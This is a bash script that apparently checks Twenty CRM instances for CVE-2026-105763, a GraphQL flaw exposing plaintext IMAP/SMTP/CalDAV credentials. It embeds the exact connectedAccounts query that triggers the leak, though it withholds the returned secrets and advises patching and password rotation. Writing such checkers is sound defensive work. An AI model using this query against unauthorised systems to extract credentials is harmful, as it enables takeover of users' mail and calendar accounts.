Twenty CRM GraphQL connectedAccounts Plaintext IMAP/SMTP/CalDAV Credential Disclosure

#!/usr/bin/env bash
# CVE-2026-105763 Checker — Twenty CRM Plaintext Credential Exposure
# Tests whether the /metadata GraphQL endpoint leaks connectionParameters.
# Usage: bash check_cve_2026_105763.sh <TWENTY_BASE_URL> <JWT_TOKEN>
# Exit codes: 0 = VULNERABLE, 1 = PATCHED, 2 = UNKNOWN

set -euo pipefail

if [ $# -lt 2 ]; then
  echo "Usage: $0 <TWENTY_BASE_URL> <JWT_TOKEN>"
  echo "Example: $0 https://twenty.example.com eyJhbGciOi..."
  exit 2
fi

BASE_URL="${1%/}"
TOKEN="$2"
ENDPOINT="${BASE_URL}/metadata"

# GraphQL query that reproduces the vulnerability
QUERY='{"query":"{ connectedAccounts { edges { node { id handle connectionParameters } } } }"}'

echo "[*] Testing CVE-2026-105763 against ${ENDPOINT}"
echo "[*] Sending connectedAccounts query with connectionParameters field..."

RESPONSE=$(curl -s -w "\n%{http_code}" \
  -X POST "${ENDPOINT}" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d "${QUERY}" 2>/dev/null) || { echo "UNKNOWN — curl failed"; exit 2; }

HTTP_CODE=$(echo "$RESPONSE" | tail -1)
BODY=$(echo "$RESPONSE" | sed '$d')

if [ "$HTTP_CODE" -lt 200 ] || [ "$HTTP_CODE" -ge 500 ]; then
  echo "UNKNOWN — HTTP ${HTTP_CODE}, server error or unreachable."
  exit 2
fi

# Check if connectionParameters contains credential fields
if echo "$BODY" | jq -e '.data.connectedAccounts.edges[].node.connectionParameters' >/dev/null 2>&1; then
  HAS_PASSWORD=$(echo "$BODY" | jq -r '[.data.connectedAccounts.edges[].node.connectionParameters] | map(select(. != null)) | length')
  if [ "$HAS_PASSWORD" -gt 0 ]; then
    echo "VULNERABLE — connectionParameters returned with data for ${HAS_PASSWORD} account(s)."
    echo "[!] Plaintext credentials may be exposed. Do NOT print them."
    echo "[!] Upgrade to Twenty 2.7.0 and rotate all IMAP/SMTP/CalDAV passwords."
    exit 0
  fi
fi

# Check for errors indicating the field is hidden (patched behavior)
if echo "$BODY" | jq -e '.errors' >/dev/null 2>&1; then
  ERROR_MSG=$(echo "$BODY" | jq -r '.errors[0].message // empty')
  echo "PATCHED — Server rejected the query: ${ERROR_MSG}"
  exit 1
fi

# Empty edges array — could be patched (scoped to caller, no accounts) or no data
EDGE_COUNT=$(echo "$BODY" | jq -r '.data.connectedAccounts.edges | length' 2>/dev/null || echo "")
if [ "$EDGE_COUNT" = "0" ]; then
  echo "UNKNOWN — Query returned zero connected accounts. Could be patched (scoped to caller) or no accounts exist."
  echo "[*] Verify the Twenty version manually: check docker image tag or package.json for >= 2.7.0."
  exit 2
fi

echo "UNKNOWN — Unexpected response. Manual review required."
exit 2